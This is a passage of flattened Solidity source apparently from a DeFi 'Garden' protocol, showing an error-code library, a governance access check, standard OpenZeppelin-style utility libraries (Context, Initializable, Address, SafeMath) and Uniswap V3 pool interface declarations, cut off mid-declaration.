+ 32 = 100. revert(0, 100) } } library Errors { // Max deposit limit needs to be under the limit uint256 internal constant MAX_DEPOSIT_LIMIT = 0; // Creator needs to deposit uint256 internal constant MIN_CONTRIBUTION = 1; // Min Garden token supply >= 0 uint256 internal constant MIN_TOKEN_SUPPLY = 2; // Deposit hardlock needs to be at least 1 block uint256 internal constant DEPOSIT_HARDLOCK = 3; // Needs to be at least the minimum uint256 internal constant MIN_LIQUIDITY = 4; // _reserveAssetQuantity is not equal to msg.value uint256 internal constant MSG_VALUE_DO_NOT_MATCH = 5; // Withdrawal amount has to be equal or less than msg.sender balance uint256 internal constant MSG_SENDER_TOKENS_DO_NOT_MATCH = 6; // Tokens are staked uint256 internal constant TOKENS_STAKED = 7; // Balance too low uint256 internal constant BALANCE_TOO_LOW = 8; // msg.sender doesn't have enough tokens uint256 internal constant MSG_SENDER_TOKENS_TOO_LOW = 9; // There is an open redemption window already uint256 internal constant REDEMPTION_OPENED_ALREADY = 10; // Cannot request twice in the same window uint256 internal constant ALREADY_REQUESTED = 11; // Rewards and profits already claimed uint256 internal constant ALREADY_CLAIMED = 12; // Value have to be greater than zero uint256 internal constant GREATER_THAN_ZERO = 13; // Must be reserve asset uint256 internal constant MUST_BE_RESERVE_ASSET = 14; // Only contributors allowed uint256 internal constant ONLY_CONTRIBUTOR = 15; // Only controller allowed uint256 internal constant ONLY_CONTROLLER = 16; // Only creator allowed uint256 internal constant ONLY_CREATOR = 17; // Only keeper allowed uint256 internal constant ONLY_KEEPER = 18; // Fee is too high uint256 internal constant FEE_TOO_HIGH = 19; // Only strategy allowed uint256 internal constant ONLY_STRATEGY = 20; // Only active allowed uint256 internal constant ONLY_ACTIVE = 21; // Only inactive allowed uint256 internal constant ONLY_INACTIVE = 22; // Address should be not zero address uint256 internal constant ADDRESS_IS_ZERO = 23; // Not within range uint256 internal constant NOT_IN_RANGE = 24; // Value is too low uint256 internal constant VALUE_TOO_LOW = 25; // Value is too high uint256 internal constant VALUE_TOO_HIGH = 26; // Only strategy or protocol allowed uint256 internal constant ONLY_STRATEGY_OR_CONTROLLER = 27; // Normal withdraw possible uint256 internal constant NORMAL_WITHDRAWAL_POSSIBLE = 28; // User does not have permissions to join garden uint256 internal constant USER_CANNOT_JOIN = 29; // User does not have permissions to add strategies in garden uint256 internal constant USER_CANNOT_ADD_STRATEGIES = 30; // Only Protocol or garden uint256 internal constant ONLY_PROTOCOL_OR_GARDEN = 31; // Only Strategist uint256 internal constant ONLY_STRATEGIST = 32; // Only Integration uint256 internal constant ONLY_INTEGRATION = 33; // Only garden and data not set uint256 internal constant ONLY_GARDEN_AND_DATA_NOT_SET = 34; // Only active garden uint256 internal constant ONLY_ACTIVE_GARDEN = 35; // Contract is not a garden uint256 internal constant NOT_A_GARDEN = 36; // Not enough tokens uint256 internal constant STRATEGIST_TOKENS_TOO_LOW = 37; // Stake is too low uint256 internal constant STAKE_HAS_TO_AT_LEAST_ONE = 38; // Duration must be in range uint256 internal constant DURATION_MUST_BE_IN_RANGE = 39; // Max Capital Requested uint256 internal constant MAX_CAPITAL_REQUESTED = 41; // Votes are already resolved uint256 internal constant VOTES_ALREADY_RESOLVED = 42; // Voting window is closed uint256 internal constant VOTING_WINDOW_IS_OVER = 43; // Strategy needs to be active uint256 internal constant STRATEGY_NEEDS_TO_BE_ACTIVE = 44; // Max capital reached uint256 internal constant MAX_CAPITAL_REACHED = 45; // Capital is less then rebalance uint256 internal constant CAPITAL_IS_LESS_THAN_REBALANCE = 46; // Strategy is in cooldown period uint256 internal constant STRATEGY_IN_COOLDOWN = 47; // Strategy is not executed uint256 internal constant STRATEGY_IS_NOT_EXECUTED = 48; // Strategy is not over yet uint256 internal constant STRATEGY_IS_NOT_OVER_YET = 49; // Strategy is already finalized uint256 internal constant STRATEGY_IS_ALREADY_FINALIZED = 50; // No capital to unwind uint256 internal constant STRATEGY_NO_CAPITAL_TO_UNWIND = 51; // Strategy needs to be inactive uint256 internal constant STRATEGY_NEEDS_TO_BE_INACTIVE = 52; // Duration needs to be less uint256 internal constant DURATION_NEEDS_TO_BE_LESS = 53; // Can't sweep reserve asset uint256 internal constant CANNOT_SWEEP_RESERVE_ASSET = 54; // Voting window is opened uint256 internal constant VOTING_WINDOW_IS_OPENED = 55; // Strategy is executed uint256 internal constant STRATEGY_IS_EXECUTED = 56; // Min Rebalance Capital uint256 internal constant MIN_REBALANCE_CAPITAL = 57; // Not a valid strategy NFT uint256 internal constant NOT_STRATEGY_NFT = 58; // Garden Transfers Disabled uint256 internal constant GARDEN_TRANSFERS_DISABLED = 59; // Tokens are hardlocked uint256 internal constant TOKENS_HARDLOCKED = 60; // Max contributors reached uint256 internal constant MAX_CONTRIBUTORS = 61; // BABL Transfers Disabled uint256 internal constant BABL_TRANSFERS_DISABLED = 62; // Strategy duration range error uint256 internal constant DURATION_RANGE = 63; // Checks the min amount of voters uint256 internal constant MIN_VOTERS_CHECK = 64; // Ge contributor power error uint256 internal constant CONTRIBUTOR_POWER_CHECK_WINDOW = 65; // Not enough reserve set aside uint256 internal constant NOT_ENOUGH_RESERVE = 66; // Garden is already public uint256 internal constant GARDEN_ALREADY_PUBLIC = 67; // Withdrawal with penalty uint256 internal constant WITHDRAWAL_WITH_PENALTY = 68; // Withdrawal with penalty uint256 internal constant ONLY_MINING_ACTIVE = 69; // Overflow in supply uint256 internal constant OVERFLOW_IN_SUPPLY = 70; // Overflow in power uint256 internal constant OVERFLOW_IN_POWER = 71; // Not a system contract uint256 internal constant NOT_A_SYSTEM_CONTRACT = 72; // Strategy vs Garden mismatch uint256 internal constant STRATEGY_GARDEN_MISMATCH = 73; // Minimum quarters is 1 uint256 internal constant QUARTERS_MIN_1 = 74; // Too many strategy operations uint256 internal constant TOO_MANY_OPS = 75; // Only operations uint256 internal constant ONLY_OPERATION = 76; // Strat params wrong length uint256 internal constant STRAT_PARAMS_LENGTH = 77; // Garden params wrong length uint256 internal constant GARDEN_PARAMS_LENGTH = 78; // Token names too long uint256 internal constant NAME_TOO_LONG = 79; // Contributor power overflows over garden power uint256 internal constant CONTRIBUTOR_POWER_OVERFLOW = 80; // Contributor power window out of bounds uint256 internal constant CONTRIBUTOR_POWER_CHECK_DEPOSITS = 81; // Contributor power window out of bounds uint256 internal constant NO_REWARDS_TO_CLAIM = 82; // Pause guardian paused this operation uint256 internal constant ONLY_UNPAUSED = 83; // Reentrant intent uint256 internal constant REENTRANT_CALL = 84; // Reserve asset not supported uint256 internal constant RESERVE_ASSET_NOT_SUPPORTED = 85; // Withdrawal/Deposit check min amount received uint256 internal constant RECEIVE_MIN_AMOUNT = 86; // Total Votes has to be positive uint256 internal constant TOTAL_VOTES_HAVE_TO_BE_POSITIVE = 87; // Signer has to be valid uint256 internal constant INVALID_SIGNER = 88; // Nonce has to be valid uint256 internal constant INVALID_NONCE = 89; // Garden is not public uint256 internal constant GARDEN_IS_NOT_PUBLIC = 90; // Setting max contributors uint256 internal constant MAX_CONTRIBUTORS_SET = 91; // Profit sharing mismatch for customized gardens uint256 internal constant PROFIT_SHARING_MISMATCH = 92; // Max allocation percentage uint256 internal constant MAX_STRATEGY_ALLOCATION_PERCENTAGE = 93; // new creator must not exist uint256 internal constant NEW_CREATOR_MUST_NOT_EXIST = 94; // only first creator can add uint256 internal constant ONLY_FIRST_CREATOR_CAN_ADD = 95; // invalid address uint256 internal constant INVALID_ADDRESS = 96; // creator can only renounce in some circumstances uint256 internal constant CREATOR_CANNOT_RENOUNCE = 97; // no price for trade uint256 internal constant NO_PRICE_FOR_TRADE = 98; // Max capital requested uint256 internal constant ZERO_CAPITAL_REQUESTED = 99; // Unwind capital above the limit uint256 internal constant INVALID_CAPITAL_TO_UNWIND = 100; // Mining % sharing does not match uint256 internal constant INVALID_MINING_VALUES = 101; // Max trade slippage percentage uint256 internal constant MAX_TRADE_SLIPPAGE_PERCENTAGE = 102; // Max gas fee percentage uint256 internal constant MAX_GAS_FEE_PERCENTAGE = 103; // Mismatch between voters and votes uint256 internal constant INVALID_VOTES_LENGTH = 104; // Only Rewards Distributor uint256 internal constant ONLY_RD = 105; // Fee is too LOW uint256 internal constant FEE_TOO_LOW = 106; // Only governance or emergency uint256 internal constant ONLY_GOVERNANCE_OR_EMERGENCY = 107; // Strategy invalid reserve asset amount uint256 internal constant INVALID_RESERVE_AMOUNT = 108; // Heart only pumps once a week uint256 internal constant HEART_ALREADY_PUMPED = 109; // Heart needs garden votes to pump uint256 internal constant HEART_VOTES_MISSING = 110; // Not enough fees for heart uint256 internal constant HEART_MINIMUM_FEES = 111; // Invalid heart votes length uint256 internal constant HEART_VOTES_LENGTH = 112; // Heart LP tokens not received uint256 internal constant HEART_LP_TOKENS = 113; // Heart invalid asset to lend uint256 internal constant HEART_ASSET_LEND_INVALID = 114; // Heart garden not set uint256 internal constant HEART_GARDEN_NOT_SET = 115; // Heart asset to lend is the same uint256 internal constant HEART_ASSET_LEND_SAME = 116; // Heart invalid ctoken uint256 internal constant HEART_INVALID_CTOKEN = 117; // Price per share is wrong uint256 internal constant PRICE_PER_SHARE_WRONG = 118; // Heart asset to purchase is same uint256 internal constant HEART_ASSET_PURCHASE_INVALID = 119; // Reset hardlock bigger than timestamp uint256 internal constant RESET_HARDLOCK_INVALID = 120; // Invalid referrer uint256 internal constant INVALID_REFERRER = 121; // Only Heart Garden uint256 internal constant ONLY_HEART_GARDEN = 122; // Max BABL Cap to claim by sig uint256 internal constant MAX_BABL_CAP_REACHED = 123; // Not enough BABL uint256 internal constant NOT_ENOUGH_BABL = 124; // Claim garden NFT uint256 internal constant CLAIM_GARDEN_NFT = 125; // Not enough collateral uint256 internal constant NOT_ENOUGH_COLLATERAL = 126; // Amount too low uint256 internal constant AMOUNT_TOO_LOW = 127; // Amount too high uint256 internal constant AMOUNT_TOO_HIGH = 128; // Not enough to repay debt uint256 internal constant SLIPPAGE_TOO_HIH = 129; // Invalid amount uint256 internal constant INVALID_AMOUNT = 130; // Not enough BABL uint256 internal constant NOT_ENOUGH_AMOUNT = 131; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {IBabController} from '../interfaces/IBabController.sol'; library ControllerLib { /** * Throws if the sender is not the protocol */ function onlyGovernanceOrEmergency(IBabController _controller) internal view { require( msg.sender == _controller.owner() || msg.sender == _controller.EMERGENCY_OWNER(), 'Only governance or emergency can call this' ); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, 